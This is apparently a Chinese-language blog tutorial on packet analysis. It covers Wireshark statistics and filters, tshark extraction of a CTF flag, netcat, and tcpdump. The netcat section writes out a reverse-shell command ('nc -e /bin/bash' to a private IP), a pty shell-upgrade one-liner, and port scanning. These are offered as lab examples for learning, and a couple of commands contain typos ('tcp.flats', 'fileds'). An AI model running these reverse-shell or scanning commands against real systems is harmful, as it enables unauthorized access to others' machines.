数据包分析基础

以太网网卡混杂模式和非混杂模式:

混杂模式:不管数据帧中的目的地址是否与自己的地址匹配,都接收

非混杂模式:只接收目的地址相匹配的数据帧,以及广播数据包和组播数据包

在数据包的分析中离不开的工具就是wireshark, 这里整理一下重要的几个功能:

统计-捕获文件属性

https://s3.ax1x.com/2020/11/17/DemgVs.png

在属性里看到数据包的一些基本属性,如:大小,长度,时间

这里关于时间需要注意,这里显示的第一个分组时间并不一定是这个时间发送的,可能是之前就已经发送了,所以这里的第一个分组的时间和最后的分组时间是我们抓包的开始和结束,并不是这个数据包发送的开始和结束

统计-已解析的地址

这个功能会将数据包中的host和port进行整理展示,如下图所示:

https://s3.ax1x.com/2020/11/18/DeuA0J.png

https://s3.ax1x.com/2020/11/18/DeuE79.png

统计-协议分级

https://s3.ax1x.com/2020/11/18/Deumfx.png

这个可以让非常清楚的看到各个协议在整个数据包中占用的比例,这样对于分析数据包是非常有帮助的。如上图中,整个数据包主要是TCP的数据包,在TCP下面可以看到主要是HTTP

过滤器

wireshark 统计中的协议分级是非常重要的,可以很清楚的看到这次捕获的数据主要是什么类型的。

常用的过滤方法:

ip.src == 127.0.0.1 and tcp.port == 8080

ip.src_host == 192.168.100.108

ip.src == 192.168.199.228 and ip.dst eq 192.168.199.228

如果没有指明协议,默认抓取所有协议数据

如果没有指明来源或目的地址,默认使用src or dst

逻辑运算:not and or

not具有最高优先级,or 和 and 具有相同的优先级,运算时从左到右进行

一些简单的例子:

显示目的UDP端口53的数据包:udp.port==53

显示来源ip地址为192.168.1.1的数据包:ip.src_host == 192.168.1.1

显示目的或来源ip地址为192.168.1.1的数据包:ip.addr == 192.168.1.1

显示源为TCP或UDP,并且端口返回在2000-5000范围内的数据包:tcp.srcport > 2000 and tcp.srcport < 5000

显示除了icmp以外的包:not icmp

显示来源IP地址为172.17.12.1 但目的地址不是192.168.2.0/24的数据包:ip.src_host == 172.17.12.1 and not ip.dst_host == 192.168.2.0/24

过滤http的get请求: http.request.method == "GET"
显示SNMP或DNS或ICMP的数据包: snmp || dns || icmp

显示来源或目的IP地址为10.1.1.1的数据包:ip.addr == 10.1.1.1

显示来源不为10.1.2.3 或者目的不为10.4.5.6的数据包:ip.src != 10.1.2.3 or ip.dst != 10.4.5.6

显示来源不为10.1.2.3 并且目的不为10.4.5.6的数据包:ip.src != 10.1.2.3 and ip.dst != 10.4.5.6

显示来源或目的UDP端口号为4569的数据包: udp.port == 4569

显示目的TCP端口号为25的数据包: tcp.dstport == 25

显示带有TCP标志的数据包:tcp.flats

显示带有TCP SYN标志的数据包: tcp.flags.syn == 0x02

Follow TCP Stream

在抓取和分析基于TCP协议的包,从应从角度查看TCP流的内容,在很多时候都是非常有用的。

https://s3.ax1x.com/2020/11/21/D1wOXt.png

通过Follow TCP Stream 可以很容易对tcp对数据进行追踪,同时利用文件导出功能可以很容易看到这段数据中的异常

tshark

tshark 可以帮助我们很容易的对抓包中的一些数据进行整合处理,例如如果我们发现tcp数据包中的urg 紧急指针位有问题,存在异常流量,如果想要快速把数据进行解析,这个时候tshark就是一个很好的工具

tshark -r aaa.pcap -T fileds -e tcp.urgent_pointer | egrep  -vi "^0$" | tr '\n' ','

将过去的数据通过python程序就可以很容易取出

root@kali:~# python3
Python 3.7.4 (default, Jul 11 2019, 10:43:21) 
[GCC 8.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> a = [67,84,70,123,65,110,100,95,89,111,117,95,84,104,111,117,103,104,115,95,73,116,95,87,97]
>>> print("".join([chr(x) for x in a]))
CTF{And_You_Thoughs_It_Wa
>>>

NC

netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,

netcat所做的就是在两台电脑之间建立链接并返回两个数据流。

root@kali:~# nc -h
[v1.10-41.1]
connect to somewhere:    nc [-options] hostname port[s] [ports] ... 
listen for inbound:    nc -l -p port [-options] [hostname] [port]
options:
    -c shell commands    as `-e'; use /bin/sh to exec [dangerous!!]
    -e filename        program to exec after connect [dangerous!!]
    -b            allow broadcasts
    -g gateway        source-routing hop point[s], up to 8
    -G num            source-routing pointer: 4, 8, 12, ...
    -h            this cruft
    -i secs            delay interval for lines sent, ports scanned
        -k                      set keepalive option on socket
    -l            listen mode, for inbound connects
    -n            numeric-only IP addresses, no DNS
    -o file            hex dump of traffic
    -p port            local port number
    -r            randomize local and remote ports
    -q secs            quit after EOF on stdin and delay of secs
    -s addr            local source address
    -T tos            set Type Of Service
    -t            answer TELNET negotiation
    -u            UDP mode
    -v            verbose [use twice to be more verbose]
    -w secs            timeout for connects and final net reads
    -C            Send CRLF as line-ending
    -z            zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. 'ftp\-data').
root@kali:~#

下面是关于nc常用功能的整理

端口扫描

root@kali:~# nc -z -v -n 192.168.1.109 20-100
(UNKNOWN) [192.168.1.109] 22 (ssh) open
root@kali:~# nc -v 192.168.1.109 22
192.168.1.109: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.1.109] 22 (ssh) open
SSH-2.0-OpenSSH_6.6.1

Protocol mismatch.
root@kali:~#

可以运行在TCP或者UDP模式,默认是TCP,-u参数调整为udp.

一旦你发现开放的端口,你可以容易的使用netcat 连接服务抓取他们的banner。

Chat Server

nc 也可以实现类似聊天的共能

在server端执行监听:

[root@localhost ~]# nc -l 9999
i am client
i am server
hahahahah

在客户端执行如下:

root@kali:~# nc 192.168.1.109 9999
i am client
i am server
hahahahah

简单反弹shell

在服务端执行:

[root@localhost ~]# nc -vvl 9999
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 192.168.1.104.
Ncat: Connection from 192.168.1.104:49804.
ls
a.txt
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
python -c 'import pty;pty.spawn("/bin/bash")'
root@kali:~# ls
ls
a.txt    Documents  Music     Public     Videos
Desktop  Downloads  Pictures  Templates
root@kali:~#

客户端执行:

root@kali:~# nc -e /bin/bash 192.168.1.109 9999

这样我们在服务端就得到了客户端的shell权限

同时为了获得交互式的shell,可以通过python简单实现:

python -c 'import pty;pty.spawn("/bin/bash")'

文件传输

nc也可以实现文件传输的功能

在服务端:

[root@localhost ~]# nc -l 9999 < hello.txt 
[root@localhost ~]#

在客户端通过nc进行接收

root@kali:~# nc -n 192.168.1.109 9999 > test.txt
root@kali:~# cat test.txt 
hello world
root@kali:~#

加密发送的数据

nc 是默认不对数据加密的,如果想要对nc发送的数据加密

在服务端:

nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt

客户端:

mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 1567

使用mcrypt工具解密数据。

以上两个命令会提示需要密码,确保两端使用相同的密码。

这里是使用mcrypt用来加密,使用其它任意加密工具都可以。

TCPDUMP

tcpdump 是linux上非常好用的抓包工具,并且数据可以通过wireshark 分析工具进行分析

tcpdump -D 可以查看网卡列表

root@kali:~# tcpdump -D
1.eth0 [Up, Running]
2.lo [Up, Running, Loopback]
3.any (Pseudo-device that captures on all interfaces) [Up, Running]
4.nflog (Linux netfilter log (NFLOG) interface) [none]
5.nfqueue (Linux netfilter queue (NFQUEUE) interface) [none]
6.bluetooth0 (Bluetooth adapter number 0) [none]
root@kali:~#

-c : 指定要抓包的数量

-i interface: 指定tcpdump需要监听的端口,默认会抓取第一个网络接口

-n : 对地址以数字方式显示,否则显示为主机名

-nn: 除了-n的作用外,还把端口显示未数值,否则显示端口服务名

-w: 指定抓包输出到的文件

例如:

抓取到本机22端口包:tcpdump -c 10 -nn -i ens33 tcp dst port 22

0 个评论

要回复文章请先登录注册